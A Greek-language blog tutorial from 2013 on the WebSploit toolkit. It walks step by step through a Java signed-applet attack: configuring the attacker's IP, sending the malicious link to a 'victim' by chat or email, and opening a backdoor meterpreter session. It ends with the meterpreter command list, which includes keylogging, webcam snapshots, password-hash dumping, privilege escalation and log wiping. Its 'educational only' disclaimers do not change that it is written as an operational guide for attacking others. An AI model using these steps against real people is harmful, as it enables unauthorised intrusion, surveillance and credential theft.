!ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!

ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!
**** Σε αυτό το blog μερικά από τα άρθρα είναι αναδημοσιεύσεις από άρθρα του διαδικτύου και άλλα είναι προσωπικά tutorial που αναφέρονται σε διάφορα θέματα. Τα παραπάνω έγιναν για ενημέρωση του κοινού και εμπλουτισμό της εκπαιδευτικής διεύρυνσης. Όλα τα άρθρα είναι για εκπαιδευτικούς και μόνο σκοπούς. Δεν φέρω καμία ευθύνη εάν κάποιος αναγνώστης τα χρησιμοποιήσει κακόβουλα. ****

Κυριακή 10 Φεβρουαρίου 2013

WebSploit Toolkit – Εργαλείο για απομακρυσμένο έλεγχο συστήματος


Το WebSploit είναι ένα ισχυρό εργαλείο ανοικτού πηγαίου κώδικα που χρησιμοποιείται για τη σάρωση και την ανάλυση απομακρυσμένων συστημάτων. Σκοπός του εργαλείου είναι ο εντοπισμός διαφόρων τύπων ευπαθειών.

Βασικά χαρακτηριστικά:


• Autopwn – Χρησιμοποιείται από το Metalsploit για την σάρωση και την εκμετάλλευση των υπηρεσιών του στόχου

• wmap – Έλεγχος του Crawler Target με τη χρήση ενός πρόσθετου wmap του Metalsploit.

• format infector – inject reverse & bind payload στον τύπο αρχείου

• phpmyadmin – αναζήτηση phpmyadmin σελίδων σύνδεσης

• lfi – Ανιχνεύει, παρακάμπτοντας τοπικά αρχεία ευπαθειών και μπορεί να παρακάμψει και κάποια WAF.

• apache users – Αναζήτηση σε κατάλογο ονομάτων χρηστών των διακομιστών (αν χρησιμοποιηθεί από Apache webserver)

• Dir Bruter – brute target directory με wordlist

• admin finder – Αναζητά την διαχειριστική και την σελίδα σύνδεσης του στόχου

• MLITM Attack – Man Left In The Middle, Επιθέσεις XSS Phishing MITM – Επίθεση Man In The Middle

• Java Applet Attack – Επίθεση Java Signed Applet MFOD Attack Vector – Middle Finger Of Doom Attack Vector

• USB Infection Attack – Δημιουργεί εκτελέσιμους ιούς τύπου Backdoor, για να μολύνει τις USB θύρες στα windows

Εγκατάσταση στο BackTrack 5 R3

Πρώτα απ' όλα κατεβάζουμε το WebSploit toolkit από το παρακάτω url:


Τώρα το αποσυμπιέζουμε το μετακινούμε στο φάκελο web.
Μετά από τις ιδιότητες του φακέλου αλλάζουμε την εφαρμογή ανοίγματος του αρχείου και επιλέγουμε να εκτελείτε ως πρόγραμμα.

Τώρα ανοίγουμε ένα τερματικό και γράφουμε: cd  /pentest/web/websploit
Στη συνέχεια γράφουμε: ./websploit

Τώρα επιλέγουμε 2 "Network Attack Vector”


Τώρα επιλέγουμε 3 "Java Applet Attack”

Wsf: java Applet > Enter Interface Name: eth0
Wsf: java Applet > Enter Your IP Address: 192.168.1.2
Wsf: java Applet > Enter Main Applet’s Class Name: java
Wsf: java Applet > Enter Name of Publisher: java



Τώρα βάζουμε την url που θα στείλουμε στο θύμα μας να ανοίξει δηλαδή http://192.168.226.134:8080/index. Η συγκεκριμένη ΙΡ που βάζουμε είναι η διεύθυνση μας και αυτή μπορούμε εύκολα να την βρούμε ανοίγοντας ένα νέο τερματικό και γράφοντας την εντολή ifconfig.


Στέλνουμε το link που προαναφέραμε στο θύμα μας με chat ή με email ή με οποιδήποτε άλλο τρόπο θέλουμε. Όταν το θύμα ανοίξει αυτό το σύνδεσμο τότε θα του εμφανιστεί στην οθόνη ένα μήνυμα για την ψηφιακή υπογραφή της σελίδας. Αν το θύμα επιλέξει εκτέλεση παρ' όλα αυτά τότε θα δούμε στην οθόνη μας να τρέχει το script του explotation tool που σημαίνει ότι θα μας ανοίξει μια πίσω πόρτα στο σύστημά του.

 

 

 

Αυτή τη στιγμή λοιπόν αποκτάμε πρόσβαση στο σύστημα του θύματος. Χρησιμοποιώντας την εντολή "Sessions -l"συνδεόμαστε με το θύμα. Στη συνέχεια γράφουμε: "sessions -i ID".



Τέλος μπορούμε να περιηγηθούμε στο pc του θύματος σαν να βρισκόμαστε μπροστά στο pc του. Με τις παρακάτω εντολές που δίνονται μπορούμε να κάνουμε διάφορα.

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop


Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

meterpreter >




ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

0 σχόλια:

Δημοσίευση σχολίου

Σημείωση: Μόνο ένα μέλος αυτού του ιστολογίου μπορεί να αναρτήσει σχόλιο.